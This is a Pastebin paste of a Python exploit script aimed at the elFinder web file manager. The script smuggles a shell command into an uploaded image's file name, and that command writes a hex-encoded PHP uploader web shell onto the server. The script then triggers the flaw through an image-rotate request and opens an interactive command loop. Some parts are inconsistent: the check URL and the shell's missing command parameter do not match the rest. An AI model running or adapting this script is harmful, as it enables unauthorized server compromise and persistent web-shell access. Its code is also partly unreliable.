Advertisement
Ng4P4L

elFinder

Jul 14th, 2021
861
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.45 KB | None | 0 0
  1. import requests
  2.  
  3. import json
  4.  
  5. import sys
  6.  
  7.  
  8. payload = 'AnonGhoul.jpg;echo 3c3f706870206563686f202755706c6f616465723c62723e273b6563686f20273c62723e273b6563686f20273c666f726d20616374696f6e3d2222206d6574686f643d22706f73742220656e63747970653d226d756c7469706172742f666f726d2d6461746122206e616d653d2275706c6f61646572222069643d2275706c6f61646572223e273b6563686f20273c696e70757420747970653d2266696c6522206e616d653d2266696c65222073697a653d223530223e3c696e707574206e616d653d225f75706c2220747970653d227375626d6974222069643d225f75706c222076616c75653d2255706c6f6164223e3c2f666f726d3e273b69662820245f504f53545b275f75706c275d203d3d202255706c6f6164222029207b69662840636f707928245f46494c45535b2766696c65275d5b27746d705f6e616d65275d2c20245f46494c45535b2766696c65275d5b276e616d65275d2929207b206563686f20273c623e55706c6f6164202121213c2f623e3c62723e3c62723e273b207d656c7365207b206563686f20273c623e55706c6f6164202121213c2f623e3c62723e3c62723e273b207d7d3f3e | xxd -r -p > AnonGhoul.php;echo AnonGhoul.jpg'
  9.  
  10.  
  11. def usage():
  12.  
  13.     if len(sys.argv) != 2:
  14.  
  15.         print ("Usage: python exploit.py [URL]")
  16.  
  17.         sys.exit(0)
  18.  
  19.  
  20. def upload(url, payload):
  21.  
  22.     files = {'upload[]': (payload, open('AnonGhoul.jpg', 'rb'))}
  23.  
  24.     data = {"reqid" : "1693222c439f4", "cmd" : "upload", "target" : "l1_Lw", "mtime[]" : "1497726174"}
  25.  
  26.     r = requests.post("%s/php/connector.minimal.php" % url, files=files, data=data)
  27.  
  28.     j = json.loads(r.text)
  29.  
  30.     return j['added'][0]['hash']
  31.  
  32.  
  33. def imgRotate(url, hash):
  34.  
  35.     r = requests.get("%s/php/connector.minimal.php?target=%s&width=539&height=960&degree=180&quality=100&bg=&mode=rotate&cmd=resize&reqid=169323550af10c" % (url, hash))
  36.  
  37.     return r.text
  38.  
  39.  
  40. def shell(url):
  41.  
  42.     r = requests.get("%s/php/.php" % url)
  43.  
  44.     if r.status_code == 200:
  45.  
  46.        print ("[+] Pwned! :)")
  47.  
  48.        print ("[+] Getting the shell...")
  49.  
  50.        while 1:
  51.  
  52.            try:
  53.  
  54.                input = raw_input("$ ")
  55.  
  56.                r = requests.get("%s/php/AnonGhoul.php?c=%s" % (url, input))
  57.  
  58.                print (r.text)
  59.  
  60.            except KeyboardInterrupt:
  61.  
  62.                sys.exit("\nBye kaker!")
  63.  
  64.     else:
  65.  
  66.         print ("[*] The site seems not to be vulnerable :(")
  67.  
  68.  
  69. def main():
  70.  
  71.     usage()
  72.  
  73.     url = sys.argv[1]
  74.  
  75.     print ("[*] Uploading the malicious image...")
  76.  
  77.     hash = upload(url, payload)
  78.  
  79.     print ("[*] Running the payload...")
  80.  
  81.     imgRotate(url, hash)
  82.  
  83.     shell(url)
  84.  
  85.  
  86. if __name__ == "__main__":
  87.  
  88.     main()
  89.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement